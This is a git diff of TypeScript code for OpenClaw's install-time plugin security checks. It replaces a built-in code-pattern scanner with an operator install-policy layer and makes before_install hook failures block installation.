sourcePathKind: PluginInstallSourcePathKind; request: PluginHookBeforeInstallRequest; - builtinScan: PluginHookBeforeInstallBuiltinScan; + builtinScan?: PluginHookBeforeInstallBuiltinScan; skill?: PluginHookBeforeInstallSkill; plugin?: PluginHookBeforeInstallPlugin; }; +function emptyBuiltinScan(): PluginHookBeforeInstallBuiltinScan { + return { + status: "ok", + scannedFiles: 0, + critical: 0, + warn: 0, + info: 0, + findings: [], + }; +} + export function createBeforeInstallHookPayload(params: BeforeInstallHookPayloadParams): { ctx: PluginHookBeforeInstallContext; event: PluginHookBeforeInstallEvent; @@ -38,7 +49,7 @@ export function createBeforeInstallHookPayload(params: BeforeInstallHookPayloadP sourcePathKind: params.sourcePathKind, ...(params.origin ? { origin: params.origin } : {}), request: params.request, - builtinScan: params.builtinScan, + builtinScan: params.builtinScan ?? emptyBuiltinScan(), ...(params.skill ? { skill: params.skill } : {}), ...(params.plugin ? { plugin: params.plugin } : {}), }; diff --git a/src/plugins/install-security-scan.runtime.ts b/src/plugins/install-security-scan.runtime.ts index 41ec42996c42..49c32834a4e9 100644 --- a/src/plugins/install-security-scan.runtime.ts +++ b/src/plugins/install-security-scan.runtime.ts @@ -1,31 +1,46 @@ import fs from "node:fs/promises"; import path from "node:path"; -import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce"; -import { - normalizeTrimmedStringList, - uniqueStrings, -} from "@openclaw/normalization-core/string-normalization"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; +import { formatErrorMessage } from "../infra/errors.js"; import { tryReadJson } from "../infra/json-files.js"; import { resolveOpenClawPackageRootSync } from "../infra/openclaw-root.js"; import { parseStrictPositiveInteger } from "../infra/parse-finite-number.js"; -import { extensionUsesSkippedScannerPath, isPathInside } from "../security/scan-paths.js"; -import { scanDirectoryWithSummary } from "../skills/security/scanner.js"; import { - findBlockedPackageDirectoryInPath, - findBlockedPackageFileAliasInPath, + runInstallPolicy, + type InstallPolicyFinding, + type InstallPolicyOrigin, + type InstallPolicyRequestKind, + type InstallPolicySource, +} from "../security/install-policy.js"; +import { isPathInside } from "../security/scan-paths.js"; +import { findBlockedManifestDependencies, findBlockedNodeModulesDirectory, findBlockedNodeModulesFileAlias, + findBlockedPackageDirectoryInPath, + findBlockedPackageFileAliasInPath, + type BlockedPackageDirectoryFinding, + type BlockedPackageFileFinding, } from "./dependency-denylist.js"; import { getGlobalHookRunner } from "./hook-runner-global.js"; import { createBeforeInstallHookPayload } from "./install-policy-context.js"; import type { InstallSafetyOverrides } from "./install-security-scan.types.js"; -import { listBuiltRuntimeEntryCandidates } from "./package-entrypoints.js"; type InstallScanLogger = { warn?: (message: string) => void; }; +const FULL_GIT_COMMIT_PATTERN = /^[0-9a-f]{40}$/i; + +type PluginInstallRequestKind = Exclude; + +function formatInstallPolicyWarning(finding: InstallPolicyFinding): string { + const location = finding.file + ? ` (${finding.file}${finding.line ? `:${finding.line}` : ""})` + : ""; + return `Install policy: ${finding.message}${location}`; +} + type InstallScanFinding = { ruleId: string; severity: "info" | "warn" | "critical"; @@ -45,6 +60,12 @@ type BuiltinInstallScan = { error?: string; }; +type PackageExecutableScanMetadata = { + runtimeExtensions?: readonly string[]; + runtimeSetupEntry?: string; + setupEntry?: string; +}; + type PackageManifest = { name?: string; dependencies?: Record; @@ -53,42 +74,12 @@ type PackageManifest = { peerDependencies?: Record; }; -type PackageExecutableScanMetadata = { - runtimeExtensions?: readonly string[]; - runtimeSetupEntry?: string; - setupEntry?: string; -}; - -const RUNTIME_GRAPH_SCAN_EXTENSIONS = [ - ".js", - ".mjs", - ".cjs", - ".ts", - ".mts", - ".cts", - ".jsx", - ".tsx", -]; -const RUNTIME_GRAPH_SCAN_MAX_FILES = 1000; -const LOCAL_RUNTIME_IMPORT_PATTERN = - /\b(?:import|export)\s+(?:[^"']*?\s+from\s*)?["']([^"']+)["']|\bimport\s*\(\s*["']([^"']+)["']\s*\)|\brequire\s*\(\s*["']([^"']+)["']\s*\)/g; - type PackageManifestTraversalLimits = { maxDepth: number; maxDirectories: number; maxManifests: number; }; -type BlockedPackageDirectoryFinding = { - dependencyName: string; - directoryRelativePath: string; -}; - -type BlockedPackageFileFinding = { - dependencyName: string; - fileRelativePath: string; -}; - type PackageManifestTraversalResult = { blockedDirectoryFinding?: BlockedPackageDirectoryFinding; blockedFileFinding?: BlockedPackageFileFinding; @@ -100,14 +91,6 @@ type InstalledPackageScanRoot = { realPath: string; }; -type PluginInstallRequestKind = - | "skill-install" - | "plugin-dir" - | "plugin-archive" - | "plugin-file" - | "plugin-npm" - | "plugin-git"; - type SkillInstallSpec = { id?: string; kind: "brew" | "node" | "go" | "uv" | "download"; @@ -131,25 +114,11 @@ export type InstallSecurityScanResult = { }; }; -function buildCriticalDetails(params: { - findings: Array<{ file: string; line: number; message: string; severity: string }>; -}) { - return params.findings - .filter((finding) => finding.severity === "critical") - .map((finding) => `${finding.message} (${finding.file}:${finding.line})`) - .join("; "); -} - -function buildCriticalBlockReason(params: { - findings: Array<{ file: string; line: number; message: string; severity: string }>; - targetLabel: string; -}) { - return `${params.targetLabel} blocked: dangerous code patterns detected: ${buildCriticalDetails({ findings: params.findings })}`; -} - -function buildScanFailureBlockReason(params: { error: string; targetLabel: string }) { - return `${params.targetLabel} blocked: code safety scan failed (${params.error}). Run "openclaw security audit --deep" for details.`; -} +const DEFAULT_PACKAGE_MANIFEST_TRAVERSAL_LIMITS: PackageManifestTraversalLimits = { + maxDepth: 64, + maxDirectories: 10_000, + maxManifests: 10_000, +}; function buildBlockedDependencyManifestLabel(params: { manifestPackageName?: string; @@ -292,9 +261,6 @@ async function inspectNodeModulesSymlinkTarget(params: { } if (!isPathInside(params.rootRealPath, resolvedTargetPath)) { - // Workspace package managers can leave peer links back to the OpenClaw host - // package. Trust only the exact peer-link shapes and only when the resolved - // target stays inside the host package root. if ( isTrustedOpenClawPeerSymlink({ allowManagedNpmRootPackagePeerSymlinks: params.allowManagedNpmRootPackagePeerSymlinks, @@ -318,8 +284,6 @@ async function inspectNodeModulesSymlinkTarget(params: { pathRelativeToRoot: resolvedTargetRelativePath, }); return { - // File symlinks can point into a blocked package directory, for example - // vendor/node_modules/safe-name -> ../plain-crypto-js/dist/index.js. blockedDirectoryFinding, blockedFileFinding: resolvedTargetStats.isFile() ? findBlockedPackageFileAliasInPath({ @@ -329,52 +293,13 @@ async function inspectNodeModulesSymlinkTarget(params: { }; } -function buildBuiltinScanFromError(error: unknown): BuiltinInstallScan { - return { - status: "error", - scannedFiles: 0, - critical: 0, - warn: 0, - info: 0, - findings: [], - error: String(error), - }; -} - -function buildBuiltinScanFromSummary(summary: { - scannedFiles: number; - critical: number; - warn: number; - info: number; - truncated: boolean; - findings: InstallScanFinding[]; -}): BuiltinInstallScan { - return { - status: "ok", - scannedFiles: summary.scannedFiles, - critical: summary.critical, - warn: summary.warn, - info: summary.info, - findings: summary.findings, - }; -} - -const DEFAULT_PACKAGE_MANIFEST_TRAVERSAL_LIMITS: PackageManifestTraversalLimits = { - maxDepth: 64, - maxDirectories: 10_000, - maxManifests: 10_000, -}; - function readPositiveIntegerEnv(name: string, fallback: number): number { const rawValue = process.env[name]; if (!rawValue) { return fallback; } const parsedValue = parseStrictPositiveInteger(rawValue); - if (parsedValue === undefined) { - return fallback; - } - return parsedValue; + return parsedValue ?? fallback; } function resolvePackageManifestTraversalLimits(): PackageManifestTraversalLimits { @@ -606,8 +531,6 @@ async function collectPackageManifestPaths(params: { }); } - // Intentionally walk vendored/node_modules trees so bundled transitive - // manifests cannot hide blocked packages from install-time policy checks. for (const entry of entries.toSorted((left, right) => left.name.localeCompare(right.name))) { const nextPath = path.join(currentDir, entry.name); const relativeNextPath = path.relative(rootDir, nextPath) || entry.name; @@ -691,7 +614,7 @@ function formatPackageScanRelativePath(params: { : params.relativePath; } -async function scanManifestDependencyDenylist(params: { +async function scanPluginDependencyDenylist(params: { allowManagedNpmRootPackagePeerSymlinks?: boolean; logger: InstallScanLogger; packageDir: string; @@ -702,8 +625,7 @@ async function scanManifestDependencyDenylist(params: { allowManagedNpmRootPackagePeerSymlinks: params.allowManagedNpmRootPackagePeerSymlinks, rootDir: params.packageDir, }); - const packageManifestPaths = traversalResult.packageManifestPaths; - for (const manifestPath of packageManifestPaths) { + for (const manifestPath of traversalResult.packageManifestPaths) { const manifest = await tryReadJson(manifestPath); if (!manifest) { continue; @@ -733,9 +655,7 @@ async function scanManifestDependencyDenylist(params: { }, }; } - // Prefer manifest evidence when available because it points at the exact - // package declaration. Directory/file findings catch stripped, symlinked, or - // otherwise hidden node_modules payloads that do not expose a usable manifest. + if (traversalResult.blockedDirectoryFinding) { const reason = buildBlockedDependencyDirectoryReason({ dependencyName: traversalResult.blockedDirectoryFinding.dependencyName, @@ -772,277 +692,23 @@ async function scanManifestDependencyDenylist(params: { }, }; } + return undefined; } -async function scanDirectoryTarget(params: { - deferBuiltinWarnings?: boolean; - excludeTestFiles?: boolean; - failOnTruncated?: boolean; - includeHiddenDirectories?: boolean; - includeNestedNodeModulesTestFiles?: boolean; - includeNodeModules?: boolean; - includeFiles?: string[]; - logger: InstallScanLogger; - maxFiles?: number; - onlyIncludeFiles?: boolean; - path: string; - suppressBuiltinWarnings?: boolean; - suspiciousMessage: string; - targetName: string; - warningMessage: string; -}): Promise { - try { - const scanSummary = await scanDirectoryWithSummary(params.path, { - excludeTestFiles: params.excludeTestFiles ?? true, - includeHiddenDirectories: params.includeHiddenDirectories, - includeNestedNodeModulesTestFiles: params.includeNestedNodeModulesTestFiles, - includeNodeModules: params.includeNodeModules, - includeFiles: params.includeFiles, - maxFiles: params.maxFiles, - onlyIncludeFiles: params.onlyIncludeFiles, - }); - if (params.failOnTruncated && scanSummary.truncated) { - return buildBuiltinScanFromError( - `code safety scan reached file limit (${params.maxFiles ?? "configured limit"})`, - ); - } - const builtinScan = buildBuiltinScanFromSummary(scanSummary); - if (params.suppressBuiltinWarnings || params.deferBuiltinWarnings) { - return builtinScan; - } - if (scanSummary.critical > 0) { - params.logger.warn?.( - `${params.warningMessage}: ${buildCriticalDetails({ findings: scanSummary.findings })}`, - ); - } else if (scanSummary.warn > 0) { - params.logger.warn?.( - params.suspiciousMessage - .replace("{count}", String(scanSummary.warn)) - .replace("{target}", params.targetName), - ); - } - return builtinScan; - } catch (err) { - return buildBuiltinScanFromError(err); - } -} - -function collectPackageExecutableScanEntries(params: { - extensions: string[]; - packageMetadata?: PackageExecutableScanMetadata; -}): string[] { - const entries: string[] = []; - const metadata = params.packageMetadata; - const runtimeExtensions = normalizeTrimmedStringList(metadata?.runtimeExtensions); - for (const [index, extensionEntry] of params.extensions.entries()) { - entries.push(extensionEntry); - const runtimeEntry = runtimeExtensions[index]; - if (runtimeEntry) { - entries.push(runtimeEntry); - continue; - } - entries.push(...listBuiltRuntimeEntryCandidates(extensionEntry)); - } - - const setupEntry = normalizeOptionalString(metadata?.setupEntry); - if (setupEntry) { - entries.push(setupEntry); - } - const runtimeSetupEntry = normalizeOptionalString(metadata?.runtimeSetupEntry); - if (runtimeSetupEntry) { - entries.push(runtimeSetupEntry); - } else if (setupEntry) { - entries.push(...listBuiltRuntimeEntryCandidates(setupEntry)); - } - return uniqueStrings(entries); -} - -async function resolveRuntimeGraphFileCandidate(filePath: string): Promise { - const resolvedPath = path.resolve(filePath); - const ext = path.extname(resolvedPath).toLowerCase(); - const candidates = ext - ? [resolvedPath] - : [ - resolvedPath, - ...RUNTIME_GRAPH_SCAN_EXTENSIONS.map((runtimeExt) => `${resolvedPath}${runtimeExt}`), - ...RUNTIME_GRAPH_SCAN_EXTENSIONS.map((runtimeExt) => - path.join(resolvedPath, `index${runtimeExt}`), - ), - ]; - - for (const candidate of candidates) { - let stat: Awaited>; - try { - stat = await fs.stat(candidate); - } catch { - continue; - } - if (stat.isFile() && RUNTIME_GRAPH_SCAN_EXTENSIONS.includes(path.extname(candidate))) { - return candidate; - } - } - return undefined; -} - -function collectLocalRuntimeImportSpecifiers(source: string): string[] { - const specifiers: string[] = []; - for (const match of source.matchAll(LOCAL_RUNTIME_IMPORT_PATTERN)) { - const specifier = match[1] ?? match[2] ?? match[3]; - if (specifier?.startsWith(".")) { - specifiers.push(specifier); - } - } - return specifiers; -} - -async function collectPackageRuntimeGraphScanEntries(params: { - entryFiles: string[]; - packageDir: string; -}): Promise { - const packageDir = path.resolve(params.packageDir); - const seen = new Set(); - const queue: string[] = []; - const out: string[] = []; - - for (const entryFile of params.entryFiles) { - const resolvedEntry = await resolveRuntimeGraphFileCandidate(entryFile); - if (resolvedEntry && isPathInside(packageDir, resolvedEntry)) { - queue.push(resolvedEntry); - } - } - - while (queue.length > 0 && out.length < RUNTIME_GRAPH_SCAN_MAX_FILES) { - const filePath = queue.shift(); - if (!filePath) { - break; - } - const resolvedPath = path.resolve(filePath); - if (seen.has(resolvedPath) || !isPathInside(packageDir, resolvedPath)) { - continue; - } - seen.add(resolvedPath); - out.push(resolvedPath); - - let source: string; - try { - source = await fs.readFile(resolvedPath, "utf-8"); - } catch { - continue; - } - for (const specifier of collectLocalRuntimeImportSpecifiers(source)) { - const importedPath = path.resolve(path.dirname(resolvedPath), specifier); - if (!isPathInside(packageDir, importedPath)) { - continue; - } - const resolvedImport = await resolveRuntimeGraphFileCandidate(importedPath); - if (resolvedImport && !seen.has(path.resolve(resolvedImport))) { - queue.push(resolvedImport); - } - } - } - - return out; -} - -function buildBlockedScanResult(params: { - builtinScan: BuiltinInstallScan; - dangerouslyForceUnsafeInstall?: boolean; - trustedSourceLinkedOfficialInstall?: boolean; - targetLabel: string; -}): InstallSecurityScanResult | undefined { - if (params.builtinScan.status === "error") { - return { - blocked: { - code: "security_scan_failed", - reason: buildScanFailureBlockReason({ - error: params.builtinScan.error ?? "unknown error", - targetLabel: params.targetLabel, - }), - }, - }; - } - if (params.builtinScan.critical > 0) { - if (params.dangerouslyForceUnsafeInstall || params.trustedSourceLinkedOfficialInstall) { - return undefined; - } - return { - blocked: { - code: "security_scan_blocked", - reason: buildCriticalBlockReason({ - findings: params.builtinScan.findings, - targetLabel: params.targetLabel, - }), - }, - }; - } - return undefined; -} - -function logDangerousForceUnsafeInstall(params: { - findings: Array<{ file: string; line: number; message: string; severity: string }>; - logger: InstallScanLogger; - targetLabel: string; -}) { - params.logger.warn?.( - `WARNING: ${params.targetLabel} forced despite dangerous code patterns via --dangerously-force-unsafe-install: ${buildCriticalDetails({ findings: params.findings })}`, - ); -} - -function resolveBuiltinScanDecision( - params: InstallSafetyOverrides & { - builtinScan: BuiltinInstallScan; - logger: InstallScanLogger; - targetLabel: string; - }, -): InstallSecurityScanResult | undefined { - const builtinBlocked = buildBlockedScanResult({ - builtinScan: params.builtinScan, - dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, - trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall, - targetLabel: params.targetLabel, - }); - if (params.dangerouslyForceUnsafeInstall && params.builtinScan.critical > 0) { - logDangerousForceUnsafeInstall({ - findings: params.builtinScan.findings, - logger: params.logger, - targetLabel: params.targetLabel, - }); - } - return builtinBlocked; -} - -async function scanFileTarget(params: { - logger: InstallScanLogger; - path: string; - suspiciousMessage: string; - targetName: string; - warningMessage: string; -}): Promise { - const directory = path.dirname(params.path); - return await scanDirectoryTarget({ - includeFiles: [params.path], - logger: params.logger, - onlyIncludeFiles: true, - path: directory, - suspiciousMessage: params.suspiciousMessage, - targetName: params.targetName, - warningMessage: params.warningMessage, - }); -} - async function runBeforeInstallHook(params: { logger: InstallScanLogger; installLabel: string; origin: string; sourcePath: string; sourcePathKind: "file" | "directory"; + source?: InstallPolicySource; targetName: string; targetType: "skill" | "plugin"; - requestKind: PluginInstallRequestKind; + requestKind: InstallPolicyRequestKind; requestMode: "install" | "update"; requestedSpecifier?: string; - builtinScan: BuiltinInstallScan; + builtinScan?: BuiltinInstallScan; skill?: { installId: string; installSpec?: SkillInstallSpec; @@ -1081,7 +747,7 @@ async function runBeforeInstallHook(params: { if (hookResult?.block) { const reason = hookResult.blockReason || "Installation blocked by plugin hook"; params.logger.warn?.(`WARNING: ${params.installLabel} blocked by plugin hook: ${reason}`); - return { blocked: { reason } }; + return { blocked: { code: "security_scan_blocked", reason } }; } if (hookResult?.findings) { for (const finding of hookResult.findings) { @@ -1092,15 +758,134 @@ async function runBeforeInstallHook(params: { } } } - } catch { - // Hook errors are non-fatal. + } catch (err) { + const reason = `Installation blocked because before_install hook failed: ${formatErrorMessage(err)}`; + params.logger.warn?.( + `WARNING: ${params.installLabel} blocked by plugin hook failure: ${reason}`, + ); + return { blocked: { code: "security_scan_failed", reason } }; } return undefined; } +function formatInstallPolicyOriginForHook(origin: InstallPolicyOrigin): string { + const type = typeof origin.type === "string" ? origin.type : "unknown"; + if (type === "upload") { + return "skill-upload"; + } + const spec = typeof origin.spec === "string" ? origin.spec : undefined; + const slug = typeof origin.slug === "string" ? origin.slug : undefined; + return spec ?? slug ?? type; +} + +function isMutableGitOrigin(origin: InstallPolicyOrigin | undefined): boolean { + const ref = typeof origin?.ref === "string" ? origin.ref : undefined; + return !FULL_GIT_COMMIT_PATTERN.test(ref ?? ""); +} + +function resolvePolicySource(params: { + requestKind: InstallPolicyRequestKind; + origin?: InstallPolicyOrigin; +}): InstallPolicySource { + if (params.requestKind === "skill-install") { + switch (params.origin?.type) { + case "clawhub": + return { kind: "clawhub", authority: "openclaw", mutable: false, network: true }; + case "git": + return { + kind: "git", + authority: "third-party", + mutable: isMutableGitOrigin(params.origin), + network: true, + }; + case "path": + return { kind: "local-path", authority: "user", mutable: true, network: false }; + case "upload": + return { kind: "upload", authority: "user", mutable: false, network: false }; + case "openclaw-bundled": + return { kind: "bundled", authority: "openclaw", mutable: false, network: false }; + case "openclaw-managed": + case "openclaw-extra": + return { kind: "managed", authority: "openclaw", mutable: false, network: false }; + default: + return { kind: "workspace", authority: "user", mutable: true, network: false }; + } + } + + switch (params.requestKind) { + case "plugin-archive": + return { kind: "archive", authority: "third-party", mutable: true, network: false }; + case "plugin-file": + return { kind: "file", authority: "user", mutable: true, network: false }; + case "plugin-git": + return { kind: "git", authority: "third-party", mutable: true, network: true }; + case "plugin-npm": + return { kind: "npm", authority: "third-party", mutable: false, network: true }; + case "plugin-dir": + return { kind: "local-path", authority: "user", mutable: true, network: false }; + } + return { kind: "local-path", authority: "unknown", mutable: true, network: false }; +} + +async function runOperatorInstallPolicy(params: { + config?: OpenClawConfig; + logger: InstallScanLogger; + origin: InstallPolicyOrigin; + source?: InstallPolicySource; + sourcePath: string; + sourcePathKind: "file" | "directory"; + targetName: string; + targetType: "skill" | "plugin"; + requestKind: InstallPolicyRequestKind; + requestMode: "install" | "update"; + requestedSpecifier?: string; + skill?: { + installId: string; + installSpec?: SkillInstallSpec; + }; + plugin?: { + contentType: "bundle" | "package" | "file" | "dependency-tree"; + pluginId: string; + packageName?: string; + manifestId?: string; + version?: string; + extensions?: string[]; + }; +}): Promise { + const result = await runInstallPolicy({ + config: params.config, + logger: params.logger, + request: { + targetName: params.targetName, + targetType: params.targetType, + sourcePath: params.sourcePath, + sourcePathKind: params.sourcePathKind, + ...(params.source ? { source: params.source } : {}), + origin: params.origin, + request: { + kind: params.requestKind, + mode: params.requestMode, + ...(params.requestedSpecifier ? { requestedSpecifier: params.requestedSpecifier } : {}), + }, + ...(params.skill ? { skill: params.skill } : {}), + ...(params.plugin ? { plugin: params.plugin } : {}), + }, + }); + if (!result?.blocked) { + for (const finding of result?.findings ?? []) { + if (finding.severity === "critical" || finding.severity === "warn") { + params.logger.warn?.(formatInstallPolicyWarning(finding)); + } + } + return undefined; + } + return { blocked: result.blocked }; +} + export async function scanBundleInstallSourceRuntime( params: InstallSafetyOverrides & { + config?: OpenClawConfig; logger: InstallScanLogger; pluginId: string; sourceDir: string; @@ -1108,9 +893,10 @@ export async function scanBundleInstallSourceRuntime( requestedSpecifier?: string; mode?: "install" | "update"; version?: string; + source?: InstallPolicySource; }, ): Promise { - const dependencyBlocked = await scanManifestDependencyDenylist({ + const dependencyBlocked = await scanPluginDependencyDenylist({ logger: params.logger, packageDir: params.sourceDir, targetLabel: `Bundle "${params.pluginId}" installation`, @@ -1119,19 +905,29 @@ export async function scanBundleInstallSourceRuntime( return dependencyBlocked; } - const builtinScan = await scanDirectoryTarget({ + const policyResult = await runOperatorInstallPolicy({ + config: params.config, logger: params.logger, - path: params.sourceDir, - suspiciousMessage: `Bundle "{target}" has {count} suspicious code pattern(s). Run "openclaw security audit --deep" for details.`, + origin: { type: "plugin-bundle", ...(params.version ? { version: params.version } : {}) }, + source: + params.source ?? resolvePolicySource({ requestKind: params.requestKind ?? "plugin-dir" }), + sourcePath: params.sourceDir, + sourcePathKind: "directory", targetName: params.pluginId, - warningMessage: `WARNING: Bundle "${params.pluginId}" contains dangerous code patterns`, - }); - const builtinBlocked = resolveBuiltinScanDecision({ - builtinScan, - logger: params.logger, - dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, - targetLabel: `Bundle "${params.pluginId}" installation`, + targetType: "plugin", + requestKind: params.requestKind ?? "plugin-dir", + requestMode: params.mode ?? "install", + requestedSpecifier: params.requestedSpecifier, + plugin: { + contentType: "bundle", + pluginId: params.pluginId, + manifestId: params.pluginId, + ...(params.version ? { version: params.version } : {}), + }, }); + if (policyResult?.blocked) { + return policyResult; + } const hookResult = await runBeforeInstallHook({ logger: params.logger, @@ -1144,7 +940,6 @@ export async function scanBundleInstallSourceRuntime( requestKind: params.requestKind ?? "plugin-dir", requestMode: params.mode ?? "install", requestedSpecifier: params.requestedSpecifier, - builtinScan, plugin: { contentType: "bundle", pluginId: params.pluginId, @@ -1152,11 +947,12 @@ export async function scanBundleInstallSourceRuntime( ...(params.version ? { version: params.version } : {}), }, }); - return hookResult?.blocked ? hookResult : builtinBlocked; + return hookResult; } export async function scanPackageInstallSourceRuntime( params: InstallSafetyOverrides & { + config?: OpenClawConfig; extensions: string[]; logger: InstallScanLogger; packageDir: string; @@ -1168,9 +964,10 @@ export async function scanPackageInstallSourceRuntime( packageName?: string; manifestId?: string; version?: string; + source?: InstallPolicySource; }, ): Promise { - const dependencyBlocked = await scanManifestDependencyDenylist({ + const dependencyBlocked = await scanPluginDependencyDenylist({ logger: params.logger, packageDir: params.packageDir, targetLabel: `Plugin "${params.pluginId}" installation`, @@ -1179,49 +976,35 @@ export async function scanPackageInstallSourceRuntime( return dependencyBlocked; } - const forcedScanEntries: string[] = []; - const executableEntries = collectPackageExecutableScanEntries({ - extensions: params.extensions, - ...(params.packageMetadata ? { packageMetadata: params.packageMetadata } : {}), - }); - for (const entry of executableEntries) { - const resolvedEntry = path.resolve(params.packageDir, entry); - if (!isPathInside(params.packageDir, resolvedEntry)) { - params.logger.warn?.( - `plugin executable entry escapes plugin directory and will not be scanned: ${entry}`, - ); - continue; - } - if (extensionUsesSkippedScannerPath(entry)) { - params.logger.warn?.( - `plugin executable entry is in a hidden/node_modules path and will receive targeted scan coverage: ${entry}`, - ); - } - forcedScanEntries.push(resolvedEntry); - } - - const runtimeGraphScanEntries = await collectPackageRuntimeGraphScanEntries({ - entryFiles: forcedScanEntries, - packageDir: params.packageDir, - }); - - const builtinScan = await scanDirectoryTarget({ - includeFiles: runtimeGraphScanEntries, + const policyResult = await runOperatorInstallPolicy({ + config: params.config, logger: params.logger, - onlyIncludeFiles: true, - path: params.packageDir, - suppressBuiltinWarnings: params.trustedSourceLinkedOfficialInstall === true, - suspiciousMessage: `Plugin "{target}" has {count} suspicious code pattern(s). Run "openclaw security audit --deep" for details.`, + origin: { + type: "plugin-package", + ...(params.packageName ? { packageName: params.packageName } : {}), + ...(params.version ? { version: params.version } : {}), + }, + source: + params.source ?? resolvePolicySource({ requestKind: params.requestKind ?? "plugin-dir" }), + sourcePath: params.packageDir, + sourcePathKind: "directory", targetName: params.pluginId, - warningMessage: `WARNING: Plugin "${params.pluginId}" contains dangerous code patterns`, - }); - const builtinBlocked = resolveBuiltinScanDecision({ - builtinScan, - logger: params.logger, - dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, - trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall, - targetLabel: `Plugin "${params.pluginId}" installation`, + targetType: "plugin", + requestKind: params.requestKind ?? "plugin-dir", + requestMode: params.mode ?? "install", + requestedSpecifier: params.requestedSpecifier, + plugin: { + contentType: "package", + pluginId: params.pluginId, + ...(params.packageName ? { packageName: params.packageName } : {}), + ...(params.manifestId ? { manifestId: params.manifestId } : {}), + ...(params.version ? { version: params.version } : {}), + extensions: params.extensions.slice(), + }, }); + if (policyResult?.blocked) { + return policyResult; + } const hookResult = await runBeforeInstallHook({ logger: params.logger, @@ -1234,7 +1017,6 @@ export async function scanPackageInstallSourceRuntime( requestKind: params.requestKind ?? "plugin-dir", requestMode: params.mode ?? "install", requestedSpecifier: params.requestedSpecifier, - builtinScan, plugin: { contentType: "package", pluginId: params.pluginId, @@ -1244,17 +1026,22 @@ export async function scanPackageInstallSourceRuntime( extensions: params.extensions.slice(), }, }); - return hookResult?.blocked ? hookResult : builtinBlocked; + return hookResult; } export async function scanInstalledPackageDependencyTreeRuntime(params: { additionalPackageDirs?: string[]; allowManagedNpmRootPackagePeerSymlinks?: boolean; + config?: OpenClawConfig; dangerouslyForceUnsafeInstall?: boolean; dependencyScanRootDir?: string; logger: InstallScanLogger; + mode?: "install" | "update"; packageDir: string; pluginId: string; + requestKind?: PluginInstallRequestKind; + requestedSpecifier?: string; + source?: InstallPolicySource; trustedSourceLinkedOfficialInstall?: boolean; }): Promise { const scanRoots = await collectInstalledPackageScanRoots({ @@ -1266,7 +1053,7 @@ export async function scanInstalledPackageDependencyTreeRuntime(params: { }); const manifestScanRoots = await collectNonOverlappingPackageScanRoots(scanRoots); for (const packageDir of manifestScanRoots) { - const dependencyBlocked = await scanManifestDependencyDenylist({ + const dependencyBlocked = await scanPluginDependencyDenylist({ logger: params.logger, packageDir, allowManagedNpmRootPackagePeerSymlinks: params.allowManagedNpmRootPackagePeerSymlinks, @@ -1278,31 +1065,58 @@ export async function scanInstalledPackageDependencyTreeRuntime(params: { } } - return undefined; + const requestKind = params.requestKind ?? "plugin-npm"; + return await runOperatorInstallPolicy({ + config: params.config, + logger: params.logger, + origin: { type: "plugin-dependency-tree" }, + source: params.source ?? resolvePolicySource({ requestKind }), + sourcePath: params.dependencyScanRootDir ?? params.packageDir, + sourcePathKind: "directory", + targetName: params.pluginId, + targetType: "plugin", + requestKind, + requestMode: params.mode ?? "install", + requestedSpecifier: params.requestedSpecifier, + plugin: { + contentType: "dependency-tree", + pluginId: params.pluginId, + }, + }); } export async function scanFileInstallSourceRuntime( params: InstallSafetyOverrides & { + config?: OpenClawConfig; filePath: string; logger: InstallScanLogger; mode?: "install" | "update"; pluginId: string; requestedSpecifier?: string; + source?: InstallPolicySource; }, ): Promise { - const builtinScan = await scanFileTarget({ + const policyResult = await runOperatorInstallPolicy({ + config: params.config, logger: params.logger, - path: params.filePath, - suspiciousMessage: `Plugin file "{target}" has {count} suspicious code pattern(s). Run "openclaw security audit --deep" for details.`, + origin: { type: "plugin-file" }, + source: params.source ?? resolvePolicySource({ requestKind: "plugin-file" }), + sourcePath: params.filePath, + sourcePathKind: "file", targetName: params.pluginId, - warningMessage: `WARNING: Plugin file "${params.pluginId}" contains dangerous code patterns`, - }); - const builtinBlocked = resolveBuiltinScanDecision({ - builtinScan, - logger: params.logger, - dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, - targetLabel: `Plugin file "${params.pluginId}" installation`, + targetType: "plugin", + requestKind: "plugin-file", + requestMode: params.mode ?? "install", + requestedSpecifier: params.requestedSpecifier, + plugin: { + contentType: "file", + pluginId: params.pluginId, + extensions: [path.basename(params.filePath)], + }, }); + if (policyResult?.blocked) { + return policyResult; + } const hookResult = await runBeforeInstallHook({ logger: params.logger, @@ -1315,62 +1129,124 @@ export async function scanFileInstallSourceRuntime( requestKind: "plugin-file", requestMode: params.mode ?? "install", requestedSpecifier: params.requestedSpecifier, - builtinScan, plugin: { contentType: "file", pluginId: params.pluginId, extensions: [path.basename(params.filePath)], }, }); - return hookResult?.blocked ? hookResult : builtinBlocked; + return hookResult; } -export async function scanSkillInstallSourceRuntime(params: { - dangerouslyForceUnsafeInstall?: boolean; +export async function preflightPluginNpmInstallPolicyRuntime(params: { + config?: OpenClawConfig; + logger: InstallScanLogger; + mode?: "install" | "update"; + packageName: string; + pluginId?: string; + requestedSpecifier?: string; + source?: InstallPolicySource; + sourcePath: string; + sourcePathKind: "file" | "directory"; +}): Promise { + const pluginId = params.pluginId ?? params.packageName; + return await runOperatorInstallPolicy({ + config: params.config, + logger: params.logger, + origin: { type: "plugin-npm", packageName: params.packageName }, + source: params.source ?? resolvePolicySource({ requestKind: "plugin-npm" }), + sourcePath: params.sourcePath, + sourcePathKind: params.sourcePathKind, + targetName: pluginId, + targetType: "plugin", + requestKind: "plugin-npm", + requestMode: params.mode ?? "install", + requestedSpecifier: params.requestedSpecifier, + plugin: { + contentType: "package", + pluginId, + packageName: params.packageName, + }, + }); +} + +export async function preflightPluginGitInstallPolicyRuntime(params: { + config?: OpenClawConfig; + logger: InstallScanLogger; + mode?: "install" | "update"; + pluginId: string; + requestedSpecifier?: string; + source?: InstallPolicySource; + sourcePath: string; +}): Promise { + return await runOperatorInstallPolicy({ + config: params.config, + logger: params.logger, + origin: { type: "plugin-git" }, + source: params.source ?? resolvePolicySource({ requestKind: "plugin-git" }), + sourcePath: params.sourcePath, + sourcePathKind: "directory", + targetName: params.pluginId, + targetType: "plugin", + requestKind: "plugin-git", + requestMode: params.mode ?? "install", 